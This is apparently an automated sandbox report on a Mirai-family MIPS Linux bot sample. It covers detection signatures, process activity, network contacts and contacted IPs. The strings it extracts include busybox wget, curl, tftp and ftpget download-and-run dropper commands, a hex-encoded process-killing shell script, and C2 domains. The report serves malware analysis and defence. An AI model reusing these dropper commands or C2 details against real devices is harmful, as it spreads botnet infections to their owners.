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Linux Analysis Report
splmips.elf

Overview

General Information

Sample name:	splmips.elf
Analysis ID:	1643362
MD5:	021cd79573ca5b9cbecf960a6c64f993
SHA1:	bfa52ca5dfe5eef854908dcf0b6a1c73b1fde02d
SHA256:	87560f13dc2702b1419369b12fdde38f1d0cc5c2a8d54af965e344a742772c7a
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100

Signatures

Multi AV Scanner detection for submitted file

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Tries to connect to HTTP servers, but all servers are down (expired dropper behavior)

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1643362
Start date and time:	2025-03-19 19:41:17 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 1s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	splmips.elf
Detection:	MAL
Classification:	mal48.linELF@0/127@4/0

Runtime Messages

Command:	/tmp/splmips.elf
PID:	6216
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	gosh that chinese family at the other table sure ate a lot
Standard Error:

Process Tree

system is lnxubuntu20

splmips.elf (PID: 6216, Parent: 6141, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/splmips.elf

splmips.elf New Fork (PID: 6220, Parent: 6216)

splmips.elf New Fork (PID: 6222, Parent: 6220)

splmips.elf New Fork (PID: 6224, Parent: 6220)

splmips.elf New Fork (PID: 6226, Parent: 6220)

cleanup

String: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: global traffic	TCP traffic: 192.168.2.23:45246 -> 104.248.47.182:1440
Source: global traffic	TCP traffic: 192.168.2.23:55380 -> 45.147.251.145:1440
Source: global traffic	TCP traffic: 192.168.2.23:53526 -> 185.220.204.227:1440

Source: /tmp/splmips.elf (PID: 6216)

Socket: 127.0.0.1:39148

Jump to behavior

Source: global traffic	TCP traffic: 192.168.2.23:43928 -> 91.189.91.42:443
Source: global traffic	TCP traffic: 192.168.2.23:42836 -> 91.189.91.43:443
Source: global traffic	TCP traffic: 192.168.2.23:42516 -> 109.202.202.202:80

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 151.249.2.143
Source: unknown	TCP traffic detected without corresponding DNS query: 151.249.2.143
Source: unknown	TCP traffic detected without corresponding DNS query: 91.141.153.240
Source: unknown	TCP traffic detected without corresponding DNS query: 91.141.153.240
Source: unknown	TCP traffic detected without corresponding DNS query: 221.82.2.103
Source: unknown	TCP traffic detected without corresponding DNS query: 221.82.2.103
Source: unknown	TCP traffic detected without corresponding DNS query: 27.7.117.133
Source: unknown	TCP traffic detected without corresponding DNS query: 27.7.117.133
Source: unknown	TCP traffic detected without corresponding DNS query: 54.89.188.101
Source: unknown	TCP traffic detected without corresponding DNS query: 54.89.188.101
Source: unknown	TCP traffic detected without corresponding DNS query: 25.147.250.140
Source: unknown	TCP traffic detected without corresponding DNS query: 25.147.250.140
Source: unknown	TCP traffic detected without corresponding DNS query: 37.138.249.47
Source: unknown	TCP traffic detected without corresponding DNS query: 37.138.249.47
Source: unknown	TCP traffic detected without corresponding DNS query: 142.68.47.191
Source: unknown	TCP traffic detected without corresponding DNS query: 142.68.47.191
Source: unknown	TCP traffic detected without corresponding DNS query: 105.164.47.179
Source: unknown	TCP traffic detected without corresponding DNS query: 121.72.137.23
Source: unknown	TCP traffic detected without corresponding DNS query: 105.164.47.179
Source: unknown	TCP traffic detected without corresponding DNS query: 83.230.165.232
Source: unknown	TCP traffic detected without corresponding DNS query: 121.72.137.23
Source: unknown	TCP traffic detected without corresponding DNS query: 83.230.165.232
Source: unknown	TCP traffic detected without corresponding DNS query: 5.65.79.223
Source: unknown	TCP traffic detected without corresponding DNS query: 5.65.79.223
Source: unknown	TCP traffic detected without corresponding DNS query: 166.86.176.115
Source: unknown	TCP traffic detected without corresponding DNS query: 118.170.35.60
Source: unknown	TCP traffic detected without corresponding DNS query: 166.86.176.115
Source: unknown	TCP traffic detected without corresponding DNS query: 118.170.35.60
Source: unknown	TCP traffic detected without corresponding DNS query: 11.161.168.251
Source: unknown	TCP traffic detected without corresponding DNS query: 11.161.168.251
Source: unknown	TCP traffic detected without corresponding DNS query: 180.191.40.165
Source: unknown	TCP traffic detected without corresponding DNS query: 180.191.40.165
Source: unknown	TCP traffic detected without corresponding DNS query: 212.67.90.180
Source: unknown	TCP traffic detected without corresponding DNS query: 212.67.90.180
Source: unknown	TCP traffic detected without corresponding DNS query: 108.71.138.233
Source: unknown	TCP traffic detected without corresponding DNS query: 108.71.138.233
Source: unknown	TCP traffic detected without corresponding DNS query: 157.232.166.157
Source: unknown	TCP traffic detected without corresponding DNS query: 157.232.166.157
Source: unknown	TCP traffic detected without corresponding DNS query: 202.108.168.225
Source: unknown	TCP traffic detected without corresponding DNS query: 202.108.168.225
Source: unknown	TCP traffic detected without corresponding DNS query: 62.44.57.38
Source: unknown	TCP traffic detected without corresponding DNS query: 49.217.85.114
Source: unknown	TCP traffic detected without corresponding DNS query: 62.44.57.38
Source: unknown	TCP traffic detected without corresponding DNS query: 18.13.158.173
Source: unknown	TCP traffic detected without corresponding DNS query: 49.217.85.114
Source: unknown	TCP traffic detected without corresponding DNS query: 14.255.247.126
Source: unknown	TCP traffic detected without corresponding DNS query: 18.13.158.173
Source: unknown	TCP traffic detected without corresponding DNS query: 56.212.155.2
Source: unknown	TCP traffic detected without corresponding DNS query: 14.255.247.126

Source: global traffic	DNS traffic detected: DNS query: watchmepull.dyn
Source: global traffic	DNS traffic detected: DNS query: ohlookthereismyboats.geek

Source: splmips.elf	String found in binary or memory: http:///curl.sh
Source: splmips.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname Day2
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper telnet
Source: Initial sample	String containing 'busybox' found: /bin/busyboxenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname Day2/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper telnetThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/127@4/0

Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6241/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6241/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6252/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6252/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6240/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6240/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6251/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6251/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6243/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6243/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6254/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6254/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6242/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6242/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6253/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6253/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6245/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6245/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6244/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6244/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6255/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6255/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6247/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6247/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6246/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6246/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6292/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6292/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6250/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6250/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6238/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6238/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6249/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6249/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6237/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6237/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6248/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6248/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6239/maps	Jump to behavior
Source: /tmp/splmips.elf (PID: 6224)	File opened: /proc/6239/cmdline	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1582/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/3088/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/230/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/110/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/231/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/111/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/232/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1579/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/112/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/233/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1699/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/113/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/234/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1335/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1698/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/114/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/235/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1334/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/1576/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/2302/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/115/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/236/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/116/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/237/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/117/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/118/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/910/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/119/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/912/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/10/comm	Jump to behavior
Source: /tmp/splmips.elf (PID: 6216)	File opened: /proc/2307/comm	Jump to behavior

Source: /tmp/splmips.elf (PID: 6216)

Queries kernel information via 'uname':

Jump to behavior

Source: splmips.elf, 6216.1.0000556f81dda000.0000556f81e82000.rw-.sdmp, splmips.elf, 6222.1.0000556f81dda000.0000556f81e82000.rw-.sdmp	Binary or memory string: oU!/etc/qemu-binfmt/mips
Source: splmips.elf, 6216.1.0000556f81dda000.0000556f81e82000.rw-.sdmp, splmips.elf, 6222.1.0000556f81dda000.0000556f81e82000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: splmips.elf, 6216.1.00007ffddc475000.00007ffddc496000.rw-.sdmp, splmips.elf, 6222.1.00007ffddc475000.00007ffddc496000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: splmips.elf, 6216.1.00007ffddc475000.00007ffddc496000.rw-.sdmp, splmips.elf, 6222.1.00007ffddc475000.00007ffddc496000.rw-.sdmp	Binary or memory string: epx86_64/usr/bin/qemu-mips/tmp/splmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/splmips.elf

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	2 Application Layer Protocol	Traffic Duplication	Data Destruction

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
splmips.elf	30%	Virustotal		Browse
splmips.elf	33%	ReversingLabs	Linux.Backdoor.Mirai

Name	IP	Active	Malicious	Antivirus Detection	Reputation
watchmepull.dyn	45.147.251.145	true	false		high
ohlookthereismyboats.geek	104.248.47.182	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	splmips.elf	false		high
http:///curl.sh	splmips.elf	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
97.58.138.67	unknown	United States	22394	CELLCOUS	false
156.55.105.15	unknown	United States	20746	ASN-IDCTNOOMINCIT	false
108.158.64.57	unknown	United States	16509	AMAZON-02US	false
63.201.237.163	unknown	United States	7018	ATT-INTERNET4US	false
1.91.193.158	unknown	China	17429	BGCTVNETBEIJINGGEHUACATVNETWORKCOLTDCN	false
215.170.5.204	unknown	United States	721	DNIC-ASBLK-00721-00726US	false
59.30.101.149	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
2.130.147.91	unknown	Denmark	9158	TELENOR_DANMARK_ASDK	false
134.2.81.152	unknown	Germany	553	BELWUEBelWue-KoordinationEU	false
95.128.16.141	unknown	Germany	39151	CETELDE	false
9.22.125.210	unknown	United States	3356	LEVEL3US	false
16.130.25.136	unknown	United States	unknown	unknown	false
4.1.161.0	unknown	United States	3356	LEVEL3US	false
18.13.158.173	unknown	United States	3	MIT-GATEWAYSUS	false
112.80.252.205	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
175.29.194.29	unknown	Bangladesh	17469	ACCESSTEL-AS-APAccessTelecomBDLtdBD	false
9.187.227.59	unknown	United States	3356	LEVEL3US	false
222.84.8.5	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
1.157.8.119	unknown	Australia	1221	ASN-TELSTRATelstraCorporationLtdAU	false
200.67.16.28	unknown	Mexico	8151	UninetSAdeCVMX	false
168.36.172.29	unknown	United States	1761	TDIR-CAPNETUS	false
191.103.69.159	unknown	Honduras	23383	METROREDSADECVHN	false
198.65.46.74	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
94.53.22.251	unknown	Romania	48161	NG-ASSosBucuresti-Ploiestinr42-44RO	false
68.39.82.200	unknown	United States	7922	COMCAST-7922US	false
75.117.120.30	unknown	United States	7029	WINDSTREAMUS	false
189.19.71.60	unknown	Brazil	27699	TELEFONICABRASILSABR	false
69.163.25.132	unknown	United States	15100	BEVCOMM-AS1US	false
201.52.219.95	unknown	Brazil	28573	CLAROSABR	false
17.132.215.187	unknown	United States	714	APPLE-ENGINEERINGUS	false
61.132.9.105	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
28.219.27.29	unknown	United States	7922	COMCAST-7922US	false
182.108.83.186	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
209.222.90.31	unknown	United States	395098	SYF-NET1US	false
62.125.234.90	unknown	United Kingdom	702	UUNETUS	false
76.178.180.58	unknown	United States	10838	OCEANIC-INTERNET-RRUS	false
158.205.138.193	unknown	Japan	4694	IDCFIDCFrontierIncJP	false
93.6.97.185	unknown	France	15557	LDCOMNETFR	false
174.104.65.137	unknown	United States	10796	TWC-10796-MIDWESTUS	false
210.63.17.153	unknown	Taiwan; Republic of China (ROC)	4783	SYSNET-AS1SYSTEXCORPORATIONTW	false
217.247.66.73	unknown	Germany	3320	DTAGInternetserviceprovideroperationsDE	false
104.185.1.139	unknown	United States	7018	ATT-INTERNET4US	false
44.26.163.176	unknown	United States	34553	NATENathanSalesUS	false
78.247.115.122	unknown	France	12322	PROXADFR	false
118.243.161.14	unknown	Japan	4685	ASAHI-NETAsahiNetJP	false
151.75.82.215	unknown	Italy	1267	ASN-WINDTREIUNETEU	false
167.89.51.165	unknown	United States	11377	SENDGRIDUS	false
210.8.97.155	unknown	Australia	2764	AAPTAAPTLimitedAU	false
50.236.213.118	unknown	United States	4579	GUIDEWIRE2US	false
144.57.132.118	unknown	Sweden	39052	SKANSKANET-ASSE	false
64.241.132.166	unknown	United States	3561	CENTURYLINK-LEGACY-SAVVISUS	false
23.213.241.89	unknown	United States	5432	PROXIMUS-ISP-ASBE	false
53.239.229.211	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
6.81.96.9	unknown	United States	3356	LEVEL3US	false
86.19.106.94	unknown	United Kingdom	5089	NTLGB	false
86.116.215.197	unknown	Switzerland	9142	CommercialISPGB	false
204.191.17.86	unknown	Canada	852	ASN852CA	false
7.119.136.65	unknown	United States	3356	LEVEL3US	false
180.191.40.165	unknown	Philippines	132199	GLOBE-MOBILE-5TH-GEN-ASGlobeTelecomIncPH	false
191.230.20.183	unknown	Brazil	26615	TIMSABR	false
69.13.144.128	unknown	United States	54489	CORESPACE-DALUS	false
76.166.133.104	unknown	United States	20001	TWC-20001-PACWESTUS	false
219.29.117.86	unknown	Japan	17676	GIGAINFRASoftbankBBCorpJP	false
96.225.30.220	unknown	United States	701	UUNETUS	false
53.106.35.47	unknown	Germany	31399	DAIMLER-ASITIGNGlobalNetworkDE	false
177.193.10.87	unknown	Brazil	28573	CLAROSABR	false
21.67.200.12	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.29.3.103	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
31.210.1.131	unknown	France	197788	MONEXTFR	false
31.25.178.139	unknown	Spain	34471	EXCOM-ASES	false
8.191.107.170	unknown	Singapore	37963	CNNIC-ALIBABA-CN-NET-APHangzhouAlibabaAdvertisingCoLtd	false
29.213.243.240	unknown	United States	7922	COMCAST-7922US	false
5.236.35.36	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
54.239.150.176	unknown	United States	16509	AMAZON-02US	false
111.206.83.225	unknown	China	4808	CHINA169-BJChinaUnicomBeijingProvinceNetworkCN	false
54.236.213.124	unknown	United States	14618	AMAZON-AESUS	false
207.201.225.193	unknown	United States	26831	CAMERON-COMMUNICATIONSUS	false
65.234.0.237	unknown	United States	701	UUNETUS	false
117.242.191.101	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
154.127.163.108	unknown	Angola	36907	TVCaboAngolaAO	false
75.145.46.40	unknown	United States	7922	COMCAST-7922US	false
186.214.19.57	unknown	Brazil	18881	TELEFONICABRASILSABR	false
56.6.86.145	unknown	United States	2686	ATGS-MMD-ASUS	false
217.17.28.70	unknown	Germany	29037	TELIKO-ASDE	false
183.239.179.4	unknown	China	56040	CMNET-GUANGDONG-APChinaMobilecommunicationscorporation	false
111.176.95.101	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
